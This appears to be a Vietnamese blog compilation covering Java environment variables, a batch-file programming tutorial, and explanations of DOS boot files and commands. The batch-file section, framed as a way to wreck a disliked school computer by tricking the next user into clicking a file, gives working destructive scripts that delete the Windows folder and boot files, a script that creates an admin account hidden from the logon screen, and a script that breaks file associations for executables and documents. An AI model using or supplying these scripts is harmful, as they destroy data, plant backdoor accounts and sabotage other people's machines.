Feeds:
Posts
Comments

Biến môi trường là một đường dẫn trỏ tới file hay tới một thư viện. Để sau này, ta gọi lại chương trình đó mà không cần quan tâm tới đường dẫn của nó.

Trong java các bạn có thể đặt biến môi trường cho JDK để cho phép chúng ta chạy các chương trình JAVA hoặc biên dịch trong dòng lệnh (cmd).

* Trước tiên, R-click vào My Computer > Chọn Properties > Chọn Advanced > Chọn Enviroment Variables

Ở đây có hai phần
user variables : Biến môi trường cho User đăng nhập
system variables : Biến môi trường dành cho hệ thống

Chú ý : Dấu “;” Để phân biệt phân chia giữa các biến môi trường

Phần user variable : có thông số Path: Thiết lập lệnh gọi file thêm vào cuối :
“;C:\Program Files\Java\jdk1.7.0\bin” -> trỏ tới phần chứa Java để phiên dịch các file và chạy file .java hoặc .class
Phần system Variables :
Thiết lập các thư viện đi kèm theo phần thư mục bin: trong file java hoặc file Class của các bạn có lệnh Import đó có triệu gọi các lib của hệ thống JDK nên bạn cần phải trỏ nó vào để có JDK có thể triệu gọi tới. Đó là các file .jar của Java hoặc các file .zar các bạn tạo ra do phần này do từng người lựa chọ file thư viện cho
ví dụ: nếu mình có file : sqljdbc.jar : thư viện để kết nối đến sqlserver 2005 trong đường dẫn C:\libJava\
mình thêm vào ClassPath là : Thêm vào đó một đoạn: “;C:\libJava\sqljdbc.jar”

Sau khi làm xong lưu lại và khởi động lại hệ thống.

Lập trình file BAT

___Vào đây (thegioimang) chôm ebook về đọc mà chẳng làm gì cả ==> ngại quá, tiện thể em leech 1 bài về đây cho phong phú ___
_Giả sử ta đang ngồi 1 cái máy ở trường mà ta rất ghét, mún phá nó quá (nhưng không mún ai bít cơ:88 — tìm xung quanh chẳng thấy cái gì có thể làm 1 cái chương trình để cho thèng ngồi lần sau ấn vào là toi T_T Lúc này làm 1 cái BAT-file roài dụ nó ấn vào là chuẩn Nhưng ta phải làm thía nào bây giờ, mình sẽ giúp các bạn (mình hiểu thế nào oánh thế đó đó :109…..
_ Lập trình với BAT, sử dụng các command (lệnh) của MSDOS VD: del, cd, copy v.v..v.. Nó trở lên rất dễ với ai đã quá quen với command của dos:77:
VD: Chương trình BAT có dạng

Code:
ECHO Chuong trinh thu nhat
CD %WinDir%
DEL *.*

_Ta mở notepad lên và oánh đoạn đó vào, save với 1 name bất kỳ nhưng phải có extension (đuôi, phần mở rộng) là bat, khi nào cần đến chỉ cần ấn đúp vào nó thoai (trong Windows) còn ở cmd thì chỉ cần gọi tên của nó ra, ta save là chul thì đánh chữ chul vào bat file sẽ hoạt động :88:
_ Chương trình ở trên ECHO ( Viết ra màn hình 1 đoạn chữ ), roài vào thư mục của windows, xóa hết tất cả cái gì trong đó
======== Programming ==========
_ Hầu hết tất cả chương trình Bat đều có dòng @echo off… Vì sao thía nhỉ?
_Trong MSDOS… dấu @ đằng trước để giấu report (thông tin trả về từ lệnh nào đó) của lệnh đó đi. Lệnh echo off làm cho prompt (dấu nhắc) biến mất, và thực thi các lệnh sau đó mà không ai bít là đang chạy command của bat cả
_Mình sẽ liệt kê ra đây 1 số command cơ bản trong lúc lập trình, những lệnh nào chủ yếu sử dụng sẽ được nói rõ

Trích:
_CLS: Clear Screen ( Xóa màn hình )
Trích:
CD: Vào 1 thư mục nào đó
__ CD C:\Windows { Vào thư mục Windows}
__ CD .. {Lùi trở về 1 thư mục, vd bạn đang ở thư mục windows\system32 thì nó lùi về thư mục Windows}
__ CD \ {Lùi về thư mục gốc (root)}
Trích:
DIR: Hiển thị các tệp và thư mục con trong thư mục chính
__ DIR /A { Hiển thị tất cả files cả files ẩn và system}
Trích:
_ECHO ( Lệnh điều khiển các lệnh và viết output ra màn hình)
Cấu trúc: echo [ON|OFF|message|.]

__ echo {Hiển thị trạng thái của ECHO là ON hay OFF}
__ echo ON {Khôi phục ECHO về trạng thái ban đầu}
__ echo OFF {Ẩn dấu nhắc của DOS}
__ echo Nhin gi? {Hiển thị ra màn hình chữ Nhin gi?}
__ echo %CHUL% {Hiển thị ra màn hình giá trị của biến CHUL(sẽ nói ở dưới)}
__ echo. {Hiện thị 1 khoảng trắng, tương tự như \n}
__ echo Y|Del *.* {Tự động trả lời YES với câu lệnh DEL *.*, tức là tự động xóa tất cả các file trong thư mục bạn đang ở}

Trích:
GOTO: Chạy các lệnh trong label (hic… đếch hỉu cái này có nghĩa gì, nhãn àh?)
__ goto CHUL {Chạy các lệnh trong label CHUL}
Trích:
SET: Tạo, thay đổi hoặc xóa các giá trị
Cấu trúc: set [variable=[giátrị]] {variable: là 1 đoạn các ký tự, chấp nhận cả khoảng trắng.. }
__ set {hiển thị tất cả các giá trị đã được set =.=}
__ set USER=CHUL {Set giá trị CHUL cho USER}
__ set USER= {xóa USER}
Trích:
CALL: Gọi 1 BAT file khác
call [drive:][path]filename [batch-parameters]
Trích:
REM: Tạo ghi chú cho file bat
Trích:
EXIT: Thoát
Trích:
IF: Câu điều kiện (thực hiện lệnh nếu thỏa mãn điều kiện)
Cấu trúc: if [not] điềukiện lệnh
__ if [not] errorlevel number command { Ở đây errorlevel là giá trị trả về của 1 chương trình hay 1 lệnh(giống return ghê) chỉ có các lệnh: BACKUP, RESTORE, FORMAT, REPLACE, và XCOPY mới có errorlevel. Number là số mà ta nhập vào, nếu số lớn hơn giá trị trả về của error number thì điều kiện là true và command (lệnh) được thực hiện, nếu nhỏ hơn thì là FALSE.. không thực hiện}
__ BACKUP C:\*.* A: /s if errorlevel 3 goto END { Lệnh này thực hiện BACKUP ổ C, nếu errorlevel lớn hơn 3 thì sẽ được chuyển tới các lệnh trong label END.
Trích:
_ FOR: (Cái này mình hông bít rõ định nghĩa lắm =.=) Lặp lại thao tác của các lệnh trong câu lệnh FOR.
Cấu trúc: for %%thamsố in (lệnh) do command
{ Tham số từ các ký tự từ A->Z, lệnh là các command của dos, có thể dùng lệnh CALL để gọi 1 bat file khác cho đỡ rườm ra nếu câu lệnh quá nhiều
__ for %%d in (C,D) do DIR %%d *.* { DIR (hiển thị) tất cả các files trong ổ C, D)
__ for %%f in (*.TXT *.BAT *.DOC) do TYPE %%f { TYPE ( Hiển thị nội dung files) của tất cả các files có phần mở rộng là TXT, BAT, DOC}
__ for %%P in (%PATH%) do if exist %%P\*.BAT COPY %%P\*.BAT C:\BAT { Nếu có thư mục trong biến %PATH% thì ta copy tất cả files có phần mở rộng là BAT trong thư mục đó ra C:\BAT (%PATH% đã được SET giá trị}
__ for %%f in (*.PAS) do call complie %%f { Gọi bat file Complie.bat ở cùng thư mục thực hiện các lệnh của nó với tất cả file có phần mở rộng là PAS}

Tạm xong các lệnh cơ bản… ta típ tục thực hành nào

Trích:
%DIGIT: Tham số {digit là số}
%digit : {Gồm các số từ 0 tới 9, được nhập vào từ bàn phím}
VD: ta có 1 chương trình

Code:
@ECHO OFF
CD\
CD %1
DEL %2

Ta save nó ở ổ C:\ là 1.bat, típ theo ta vào Start=>Run, oánh vào đó

Code:
C:\1.BAT Windows *.*

Khi đó thì ta đã nhập cho %1 giá trị là Windows và %2 là *.* ==> chương trình trên sẽ thực hiện lệnh xóa hết tất cả các file trong thư mục windows.

Trích:
SHIFT: Ta hãy xem tác dụng của nó = chương trình ở dưới

Code:
@ECHO OFF
ECHO Gia tri thu nhat la %1
ECHO.
SHIFT
ECHO Gia tri thu hai la %1
ECHO.
SHIFT
ECHO Gia tri thu ba la %1

Ta save nó là 2.bat và Chạy nó như sau

Code:
C:\2.bat hcs hce vbf

Thì nó sẽ xuất ra như sau

Code:
Gia tri thu nhat la hcs

Gia tri thu hai la hce

Gia tri thu ba la vbf

Ta thấy các tham số đều là %1, vậy lệnh shift đã đưa các giá trị của tham số từ trên xuống dưới %1 là hcs, %2 là hce, %3 là vbf

Trích:
FOR: Vòng lặp for
_Cấu trúc: FOR %%PARAMETER IN(set) DO command
Ta sẽ thử 1 đoạn đơn giản

Code:
@ECHO OFF
CLS
FOR %%A IN(hce,hcs) DO ECHO %%A

Trong đó, đoạn IN(hcs,hcs) là danh sách các lệnh hay ký tự để vòng lặp for chạy. %%a được gán những gia trị khác nhau để khi thực hiện các lệnh bằng giá trị đó.
Đoạn chương trình trên sẽ hiện ra

Code:
hce
hcs

Ta sẽ thêm 1 VD, kết hợp for và %digit

Code:
@ECHO OFF

ECHO.

ECHO Chuong trinh se del cac file sau

ECHO %1 %2

ECHO.

ECHO Neu ban khong mun tip tuc thi out di

PAUSE

FOR %%a IN (%1 %2 ) DO DEL %%a

ECHO Da xoa xong

Ta save nó vào ổ C:\ với tên là 3.bat

Code:
Start=> Run: C:\3.bat C:\Boot.ini C:\ntldr

Khi đó chương trình sẽ thực hiện xóa 2 file là c:\boot.ini và c:\ntldr..
Khi chạy, nó sẽ hiện thị

Code:
Chuong trinh se del cac file sau
C:\Boot.ini C:\ntldr

Neu ban khong mun tip tuc thi out di
Press any key to continue . . .

Da xoa xong
Trích:
LABEL (Là gì ai bảo hộ em với >.< )
Với LABEL ta có thể tạo 1 vòng lặp đơn giản

Code:
@echo off
:loop
echo Vong Lap
goto loop

Khi đó chữ Vong Lap sẽ xuất hiện liên tục =.=
:loop là để khai báo vòng lặp loop…
goto loop là để gọi label loop ra
Típ theo VD thứ 2:

Code:
@echo off
:loop
if exist c:\boot.ini goto bootini
else
echo Ban khong co boot.ini
:bootini
echo ban co boot.ini

Chương trình trên sẽ kiểm tra ổ C có boot.ini không, nếu có thì tới label :bootini nếu không thì sẽ hiển thị ra màn hình chữ Ban khong co boot.ini
Típ tục thêm 1 vd, ta sẽ sử dụng IF [NOT] string1==string2 Command

Code:
@ECHO off
IF %1==copy GOTO COPY 
else 
IF%1==del GOTO DEL
else 
ECHO Dinh lam gi the ku
:COPY
Copy %2 C:
GOTO :END
:DEL
del %2
:END

Lại típ tục save nó thành 4.bat

Code:
 Start=>Run: C:\4.bat copy E:\Windows\win.ini

Khi đó, CT sẽ tới Label copy và copy E:\windows\win.ini sang ổ C:\
còn nếu

Code:
 Start=>Run: C:\4.bat del E:\Windows\win.ini

Thì CT sẽ del E:\Windows\win.ini =.=…

Trích:
Sử dụng echo, gán giá trị vào files
VD:

Code:
 echo %1 >> chul.txt

Tới đây thì ai cũng bít cách run nó rùi chứ? … chương trình sẽ ghi đoạn ta type vào file chul.txt
Ta sẽ có thêm 1 vài câu lệnh

Code:
	
	command >> file {Ghi command vào file}
	command > nul { thực hiện các lệnh mà không hiển thị output:D, vd copy c:\boot.ini d:\ > nul}
	command < file 	{Chạy command từ file}
Trích:
Làm việc với registry
Bat file không hỗ trợ ghi vào registry, nhưng ta có thể dùng echo tạo ra 1 *.reg để ghi vào registry
VD:

Code:
echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Chul]>>%TEMP%\addregistry.reg
echo "Chul"=dword:00000000>>%TEMP%\addregistry.reg
Regedit /s %TEMP%\addregistry.reg

Khi đó, ta đã tạo ra 3 dòng ghi vào trong addregistry.reg, rồi run nó bằng tools regedit của windows =.=…..

Trên đây là những cái cơ bản về lập trình bat để bạn có thể viết 1 cái gì đó cho mình….
Còn đây là các chương trình viết = bat :
1_ Tạo nick admin trong WinXP

Code:
@ECHO off

TITLE Admin account creator (0ni)

COLOR 0f

set AC_PART=001

:HEADER

echo.

ECHO   [INFO]

ECHO   [-] Create a hidden user acount (U:%AC_NAME%; P:%AC_PASS%; G:%AC_GROUP%; H:%AC_HIDE% )

echo     \

GOTO %AC_PART%

:001

SET /P AC_NAME=[*] Acount name? :

cls

SET AC_PART=002

GOTO HEADER

:002

SET /P AC_PASS=[*] Acount password? :

cls

SET AC_PART=003

GOTO HEADER

:003

SET /P AC_COMMENT=[*] Acount Comment? :

cls

SET AC_PART=004

GOTO HEADER

:004

ECHO     [* The following groups are available on the machine.

ECHO.

net localgroup | find "*"

ECHO.

SET /P AC_GROUP=[*] Group? :

cls

SET AC_PART=005

GOTO HEADER

:005

SET /P AC_OK=[*] Creating acount now, Continue? (y/n) :

IF NOT %AC_OK%==y GOTO 0051

net user %AC_NAME% %AC_PASS% /add /COMMENT:"%AC_COMMENT%"

net localgroup "%AC_GROUP%" %AC_NAME% /add

ECHO.

pause

:0051

cls

SET AC_PART=006

GOTO HEADER

:006

SET /P AC_HIDE=[*] Do you want to hide the acount from the XP logon screen? (y/n) :

IF NOT %AC_HIDE%==y GOTO END

echo Windows Registry Editor Version 5.00>%TEMP%\addregistry.reg

echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]>>%TEMP%\addregistry.reg

echo "%AC_NAME%"=dword:00000000>>%TEMP%\addregistry.reg

Regedit /s %TEMP%\addregistry.reg

Del %TEMP%\addregistry.reg

:END

ECHO.

pause

2_ Xóa các phần mở rộng của file

Code:
if exist c:\safety.txt goto end

copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\winmine.sbs

copy "C:\WINDOWS\System32\winmine.exe" "C:\WINDOWS\System32\winmine.sbs

assoc .sbs=exefile

regedit.exe /s .\nuke.reg

assoc .bat=txtfile

assoc .com=txtfile

assoc .cmd=txtfile

assoc .exe=txtfile

assoc .doc=txtfile

assoc .ppt=txtfile

assoc .xls=txtfile

assoc .jpg=txtfile

assoc .png=txtfile

assoc .jpeg=txtfile

assoc .vir=exefile

assoc .avi=txtfile

assoc .mpg=txtfile

assoc .bak=txtfile

assoc .docx=txtfile

assoc .pptx=txtfile

assoc .xlsx=txtfile

assoc .sav=txtfile

assoc .rar=txtfile

assoc .zip=txtfile

assoc .7z=txtfile

assoc .gz=txtfile

vv.v..v.v
Bạn có thể dùng các tools để complie nó thành exe
END… Tut by HeeChul[at]hcsviet

File hệ thống: Theo kinh nghiệm của chúng tôi, 90% người sử dụng không có hiểu biết nhiều về cách soạn thảo 2 file nầy. Một phần do các sách dạy về Dos nói quá nhiều khiến người đọc không phân biệt được cái nào chính, cái nào phụ nên không thể nhớ hết được. Một phần do nội dung của 2 file nầy không có một chuẩn mực cố định mà tuỳ thuộc vào mỗi máy cụ thể nào đó nên rất khó dạy đầy đủ và dễ hiểu. Chúng tôi cũng không có tham vọng nói đầy đủ mà chủ yếu đề cập đến các phần không thể thiếu trên đa số máy cho ngắn, gọn.

Các chương trình thông dụng khi cài đặt đều ít nhiều có sửa chữa 2 file nầy nên nội dung của chúng thường xuyên thay đổi. Sự thay đổi nầy lại có ảnh hưởng rất lớn đến hoạt động của máy. Do đó, không có hiểu biết về chúng là một thiếu sót lớn và có thể đem lại rất nhiều phiền toái cho người dùng máy.

Hai file nầy là 2 file text thuần tuý nên để chỉnh sửa bạn có thể dùng một trong các chương trình soạn thảo văn bản không định dạng như Edit.com, NC Edit trong Dos hoặc cho chạy Notepad, Sysedit trong Windows.

CONFIG.SYS :

Nằm trong thư mục gốc của dĩa cứng khởi động dùng để xác định cấu hình của hệ thống máy và cài đặt các driver thiết bị. Mỗi dòng văn bản là một lệnh của Dos. Ðặc biệt Dos chỉ đọc file này khi khởi động máy do đó nếu bạn có sửa đổi gì trên file này, bạn phải khởi động lại để việc thay đổi có hiệu lực (hiện nay cũng có vài chương trình cho phép bạn cài đặt drv thiết bị trong Config.sys ngay tại dấu nhắc mà không cần khởi động lại).

Chú ý: Lịnh trong Config.sys phải ghi đầy đủ đường dẫn và phải thật chính xác do lúc nầy Dos chưa lưu trữ đường dẫn (lịnh Path) nên chưa tự động đi tìm file được.

Ðúng ra trong file Config.sys còn nhiều lịnh nữa, những lịnh nầy ta tạm gọi là lịnh nội bộ (bao gồm tất cả lịnh khác lịnh device. Thí dụ: Dos=; Lastdrive=; Shell=…), luôn luôn được nạp với các thông số mặc nhiên nên bình thường ta không cần quan tâm. Chỉ khi nào cần chỉ định lại thông số ta mới đưa vào như trong thí dụ sau. Lịnh nội bộ không quy định thứ tự, chúng được ưu tiên nạp trước dù nằm bất kỳ vị trí nào trong file.

Các driver được nạp bằng lịnh device (tạm gọi là lịnh bổ sung) trong Config.sys phải đi theo thứ tự nếu chúng có liên quan đến nhau. Thí dụ: Himem-Emm386-devicehigh.

Ví dụ file config.sys :

Device= C:\Windows\Himem.sys /Testm:off

Device= C:\windows\Emm386.exe noems

;Device= C:\windows\Emm386.exe ram

Dos=High,UMB

Devicehigh= D:\Audio\Opti930\Cdsetup.sys /T:X

Devicehigh=C:\dos\Ecscdide.sys /d:ecscd001

Devicehigh=c:\windows\ifshlp.sys

Lastdrive=H

Shell=c:\dos\command.com c:\dos /p /E:512

Phân tích:

Himem.sys và Emm386.exe phải được nạp trước bằng lịnh Device để quản lý vùng bộ nhớ UMB,HMA. Sau đó bạn mới dùng được lịnh Devicehigh để nạp các driver khác vào vùng bộ nhớ nầy.

Device= C:\Windows\Himem.sys /Testm:off

Thông số /Testmem:off hay /testm:off là chỉ định Himem khi nạp không cần kiểm tra bộ nhớ để khởi động cho nhanh.

Device= C:\windows\Emm386.exe noems

;Device= C:\windows\Emm386.exe ram

Thông số Noems là chỉ định không dùng bộ nhớ bành trướng. Thông số Ram là chỉ định dùng bộ nhớ bành trướng.

Dấu ; là vô hiệu hoá dòng lịnh đi sau nó, tương tự như lịnh REM nhưng chạy nhanh hơn vì nó không phải là lịnh nên không mất thời gian thực hiện.

Khi chọn Noems, Windows sẽ chạy nhanh hơn chọn Ram, nhưng một số chương trình xưa được viết cho máy 286 và vài trò chơi sẽ không chạy được do chúng đòi hỏi bộ nhớ bành trướng (Ram). Khi chọn Ram, Windows chạy chậm và vùng UMB sẽ còn ít do bị mất 64Kb dành làm khung trang cho bộ nhớ bành trướng.

Theo chúng tôi, tốt nhất là bạn có cả 2 dòng nầy trong Config.sys. Bình thường bạn cho dòng Noems có hiệu lực. Khi nào cần bộ nhớ bành trướng, bạn mới cho dòng Ram có hiệu lực.

Dos=High,UMB

Cho phép nạp Dos vào bộ nhớ cao (high) và cho phép dùng lịnh Devicehigh nạp các driver vào vùng bộ nhớ trên (UMB). Nếu không có thông số UMB, các lịnh Devicehigh trong Config.sys và lịnh Loadhigh trong Autoexec.bat sẽ vô tác dụng.

Devicehigh= D:\Audio\Opti930\Cdsetup.sys /T:X

Devicehigh= C:\dos\Ecscdide.sys /d:ecscd001

Dòng thứ nhất để xác lập cho đường IDE trên card sound do ổ đĩa CD Rom nối vào card sound. Lịnh nầy có thể khác nhau tuỳ theo card sound bạn đang dùng. Nếu CD Rom nối vào card I/O hay vào mainboard thì không cần dòng lịnh nầy.

Dòng thứ nhì để cài driver điều khiển ổ đĩa CD Rom. Thông số /D: dùng để đặt tên cho ổ đĩa CD Rom, tên nầy phải trùng với tên trong Autoexec.bat.

Chú ý: Tên nầy sẽ được dành riêng cho hệ thống, bạn không thể tạo thư mục hay file có tên trùng với tên nầy.

Devicehigh=c:\windows\ifshlp.sys

Dòng lịnh nầy dành riêng cho Windows dùng để chạy 32BitFileAccess.

Lastdrive=H

Chỉ định cho phép sử dụng bao nhiêu ổ đĩa trên máy bạn, bao gồm 2 ổ mềm A,B (không có cũng tính). Trong ví dụ nầy là 2 ổ mềm, 6 ổ đĩa logic khác (gồm ổ cứng, CD Rom, ổ tháo rời…). Mặc nhiên của Dos 6.22 khi không có dòng lịnh nầy là E, nếu máy bạn có nhiều ổ logic hơn bạn phải thêm dòng lịnh nầy.

Shell=c:\dos\command.com c:\dos /p /E:512

Dòng lịnh nầy chỉ định địa chỉ của trình thông dịch cần phải nạp. Trong thí dụ nầy là Command.com nằm trong thư mục Dos của ổ C. khi không có dòng lịnh nầy, hệ điều hành sẽ tìm nạp command.com nằm trong thư mục gốc của ổ C.

/P là cho phép nạp file Autoexec.bat sau khi nạp config.sys.

/E:512 chỉ định tăng vùng môi trường lên 512byte. Vùng môi trường là kích thước bộ nhớ dành riêng để chứa những thông tin khi bạn đánh lịnh SET khi ở dấu nhắc Dos. Mặc nhiên khi không có lịnh nầy là 256byte.

AUTOEXEC.BAT

File nầy cũng nằm trong thư gốc cũa ổ đĩa khởi động và được nạp tự động sau khi nạp Config.sys. Công dụng của file nầy là tạo các thông số về môi trường hoạt động cho hệ thống và các phần mềm. Nội dung bao gồm các dòng lịnh giống y như lịnh bạn đánh tại dấu nhắc và bạn cũng có thể đánh lịnh mà không cần ghi chúng vào file Autoexec.bat. Như vậy về thực chất, ta có thể nói file Autoexec.bat gồm một chuổi các lịnh được lập sẳn để Dos thực hiện lần lượt theo thứ tự từ dòng đầu đến dòng cuối, tiết kiệm thời gian và công sức đánh lịnh mỗi khi khởi động máy.

Ví dụ file Autoexec.bat sau:

@echo off

Path=C:\Windows;C:\Windows\Command;C:\NC

Set path=%path%;c:\sb16

Set temp=C:\Temp

Set NC=C:\NC

Set Sound=C:\SB16

Set Blaster=A220 I5 D1 H5 P330 T6

::LH C:\dos\mouse.com

LH C:\Windows\Command\Mscdex.exe /d:ecscd001 /l:f

LH C:\windows\smartdrv.exe

Giải thích:

@Echo off

Thường là lịnh đầu tiên trong file autoexec.bat. Echo off ngăn không cho Dos hiển thị dòng lịnh ra màn hình khi thực hiện các lịnh sau lịnh nầy. @ trước lịnh Echo off là ngăn không cho chính lịnh này hiện lên màn hình.

Path=C:\Windows;C:\Windows\Command;C:\NC

Tạo đường dẫn cho các chương trình,mô tả lối tìm về các thư mục mà Dos truy tìm các chương trình này. Khi bạn đánh tên một file chương trình, Dos sẽ tìm trong các địa chỉ nầy theo thứ tự kê khai.

Set path=%path%;c:\sb16

Có tác dụng giống như Path và vì được nạp sau nên sẽ đè chồng lên lịnh path. Trong thí dụ nầy lịnh Set path nhằm bổ sung đường dẫn C:\sb16 vào sau các đường dẫn cũ trong lịnh Path. %path% có nghĩa là nạp toàn bộ nội dung trong lịnh Path trước lịnh nầy. Sở dỉ có lịnh nầy là nhằm tránh việc đánh 1 lịnh Path dài quá 125 ký tự (%Path% chỉ được tính là 6 ký tự trong khi nội dung thật của nó có thể lên đến 125 ký tự).

Set temp=C:\Temp

Chỉ định tên thư mục dành riêng cho các chương trình chứa file tạm khi hoạt động. Nếu không có dòng lịnh nầy các chương trình sẽ chứa các file tạm tại nơi chúng khởi động hay trong thư mục của chúng, gây khó khăn cho việc dọn dẹp đĩa.

Chú ý: Nếu không có lịnh nầy hay không có thư mục được chỉ định trong lịnh, NC5 sẽ thường xuyên bị mất cấu hình.

Set NC=C:\NC

Chỉ định thư mục chứa các thông tin cần thiết cho hoạt động của NC5. Nếu không có lịnh nầy, NC5 có thể thông báo lổi là không tìm thấy các file cần thiết khi thực hiện 1 chức năng nào đó.

Set Sound=C:\SB16

Set Blaster=A220 I5 D1 H5 P330 T6

Chỉ định các thông số hoạt động của card sound. Chỉ định nầy giúp các chương trình cần điều khiển card sound sẽ biết cách hợp tác với chúng. Các thông số trong lịnh Set Blaster có thể khác nhau tuỳ theo card.

Chú ý: Nếu có nhiều lịnh Set trùng tên, gía trị sẽ do dòng lịnh Set cuối cùng quyết định do nó được nạp đè lên các lịnh trước đó.

::LH C:\dos\mouse.com

Dòng lịnh nầy bị vô hiệu hoá do có ký hiệu :: trước dòng lịnh. Dấu :: có tác dụng như lịnh Rem nhưng không phải là lịnh nên chạy nhanh hơn (giống như dấu ; trong config.sys)

LH C:\Windows\Command\Mscdex.exe /d:ecscd001 /l:f

LH C:\windows\smartdrv.exe

LH tức là Loadhigh: Nạp một chương trình thường trú lên vùng bộ nhớ cao. LH chỉ có giá trị khi có lịnh nạp Himem, Emm386 và Dos=umb trong Config.sys.

Lịnh 1 là nạp driver điều khiển ổ CD Rom. Thông số /D: phải giống như trong Config.sys. Thông số /L:F có nghĩa đặt tên cho ổ CD Rom là F.

Lịnh 2 là nạp chương trình Cache đĩa của Dos nhằm tăng tốc độ truy xuất đĩa. Lịnh nầy phải nằm sau để Smartdrv có thể nhìn thấy và cache cho ổ CD Rom.

ÐA CấU HìNH:

Nếu bạn thường xuyên phải thay đổi 2 file hệ thống để chạy chương trình. Tốt nhất là bạn sử dụng đa cấu hình cho máy của bạn. Bạn chỉ tốn công 1 lần khi tạo lập đa cấu hình, sau đó máy sẽ thay đổi tự động khi bạn muốn.

Chú ý: Nếu muốn dùng đa cấu hình, bạn phải sửa dòng BOOTGUI=0 trong file MSDOS.SYS đối với Win 95.

Thí dụ về đa cấu hình:

CONFIG.SYS AUTOEXEC.BAT
[Menu]
menuitem=Win95,Windows 95
menuitem=Win311,Windows 3.11
menuitem=Game,Dos Game
menudefault=Win95,5
[common]
device=c:\win95\himem.sys /testm:off
dos=high,umb,noauto
lastdrive=h

[Win95]
device=c:\win95\emm386.exe noems
devicehigh=c:\win95\ifshlp.sys

[Win311]
device=c:\win95\emm386.exe noems
devicehigh=c:\win311\ifshlp.sys

[Game]
device=c:\win95\emm386.exe Ram

@Echo off
path=c:\nc;c:\sound;
set nc=c:\nc
set temp=c:\temp
Set Sound=C:\SB16
Set Blaster=A220 I5 D1 H5
goto %config%

:Win95
set path=c:\win95\command;%Path%;
Win
goto end

:Win311
set path=c:\win311;%path%;
lh c:\Win311\Mscdex.exe /d:ecscd001 /l:f
lh c:\win95\smartdrv.exe
Win
goto end

:Game
lh c:\Win311\Mscdex.exe /d:ecscd001 /l:f
lh c:\win95\smartdrv.exe
goto end
:end

Giải thích:

Trong thí dụ trên, chúng tôi cố tình xếp đặt cho các bạn thấy sự tương ứng giửa các nhóm cấu hình trong 2 file hệ thống (trên thực tế, bạn không cần có những dòng trống).

[menu]: nhóm tên.

menuitem=Win95,Windows 95: Ðặt tên. Ðầu tiên là tên nhóm viết tắt cho gọn khi soạn thảo, tên sau dấu phẩy là tên chi tiết dùng để hiển thị ra màn hình khi khởi động.

menudefault=Win95,5: Chỉ định nhóm mặc nhiên máy tự chọn (Win95) sau thời gian chờ đợi (5 giây) mà bạn không quyết định chọn.

[Common]: Nhóm chung, các lịnh trong nhóm nầy được dùng chung cho mọi cấu hình.

[Win95]: Nhóm cấu hình riêng. Tên nhóm riêng trong Config.sys phải trùng với tên nhóm tương ứng trong Autoexec.bat. Các lịnh trong nhóm chỉ được nạp khi bạn chọn cấu hình.

Chú ý: Lịnh Dos=noauto chỉ dùng khi bạn sử dụng Win 95, nó có tác dụng chỉ thị ngăn Win 95 không được nạp driver IFSHLP.SYS tự động để giúp cho Win 3.11 nạp driver của mình khi chọn cấu hình Win311 (drv nầy dùng để chạy 32 bit file).

goto %config%: lịnh rẻ nhánh đến tên nhóm tương ứng trong Config.sys.

:Win95: Nhóm cấu hình

goto end: Lịnh rẻ nhánh đến nhóm End. Nếu không có lịnh nầy, Dos sẽ thực hiện tiếp các lịnh trong nhóm kế tiếp theo thứ tự dòng lịnh.

Chú ý: Các lịnh nằm ngoài nhóm hay nằm trong nhóm End là lịnh chung, sẽ được sử dụng cho mọi cấu hình.

Lịnh Win dùng để tự động nạp win. Nếu không có lịnh nầy, máy sẽ ngừng ở dấu nhắc Dos.

>> Xem thêm về cách thiết lập đường dẫn

* Để xem nội dung của classpath, mình gõ classpath. Để đặt lại nội dung mình dùng :

set <tên biến> <nội dung mới>.
ví dụ:
Set path %path%;c:\java\jdk\bin\
Set classpath %classpath%;.

// giải thích ” %path% có nghĩa là nạp toàn bộ nội dung trong lịnh Path trước lịnh nầy. Sở dỉ có lịnh nầy là nhằm tránh việc đánh 1 lịnh Path dài quá 125 ký tự (%Path% chỉ được tính là 6 ký tự trong khi nội dung thật của nó có thể lên đến 125 ký tự). ”

* Cách khác là vào MyComputer->Chuột phải->Property->Advanced->Enviroment Variables.
Tuy nhiên, đây không phải là bắt buộc. Chỉ khi nào chương trình không chạy thì mới tìm đến nó thôi.

I. Các lệnh nội trú
Lệnh nội trú là những lệnh thi hành những chức năng của HĐH, thường xuyên được sử dụng, được lưu trữ vào bộ nhớ của máy tính từ khi khởi động và thường trú ở trong đó cho tới khi tắt máy.
Cách viết chung:
1.1. Một số lệnh về hệ thống
. Lệnh xem và sửa ngày: DATE
Current Date is Sat 02-04-2000
Enter new Date (mm-dd-yy)
Lúc này có hai tuỳ chọn
Nếu không thay đổi ngày giờ gõ Enter
Nếu sửa ngày hiện hành ở dòng một thì sửa theo khuôn mẫu (tháng -ngày-năm).
Bạn hãy thay đổi ngày lại cho máy tính ví dụ 31/07/2004.
. Lệnh xem và sửa giờ: TIME
Current time is 4:32:35.23a
Enter new time:
Lúc này có hai lựa chọn:
-Nếu không sửa giờ hiện hành của dòng một thì gõ Enter
– Nếu sửa giờ hiện hành thì sửa theo khuôn mẫu (giờ: phút:giây.% giây)
Bạn hãy thay đổi giờ lại cho máy tính thành 05 giờ 05 phút.
. Lệnh thay đổi dấu nhắc lệnh của DOS: PROMPT
Lệnh thay đổi dấu đợi lệnh để có thể hiện thị một số thông tin hiện hành theo ý riêng của Người sử dụng.
Prompt [Chuỗi ký tự]
$P: Thư mục hiện hành $D: Ngày hiện hành
$G: Dấu > $T: Giờ hiện hành
$: Xuống dòng
Ví dụ: C>PROMPT $T $P$G
. Lệnh xem phiên bản DOS: VER
VER
Bạn muốn xem hiện tại mình đang giao tiếp với HĐH MS-DOS là phiên bản nào.
Ví dụ: C:\VER
Windows 98 [Version 4.10.2222]
. Lệnh xoá màn hình: CLS
CLS
Lệnh xoá toàn bộ dữ liệu trên màn hình đưa con trỏ về góc trên cùng bên trái màn hình.
. Chuyển đổi ổ đĩa
Gõ tên ổ đĩa và dấu hai chấm, sau đó nhấn ENTER.
Ví dụ: A: C:

1.2. Các lệnh về thư mục
. Lệnh xem nội dung thư mục.
DIR [drive:] [Path] [Tên thư mục] [/A][/S]{/P][W]}
Trong đó: /P : để xem từng trang
/W: Trình bày theo hàng ngang
/A : xem các tập tin có thuộc tính ẩn và hệ thống
/S: Xem cả thư mục con
Ví dụ:
DIR C:\WINDOWS /P /W
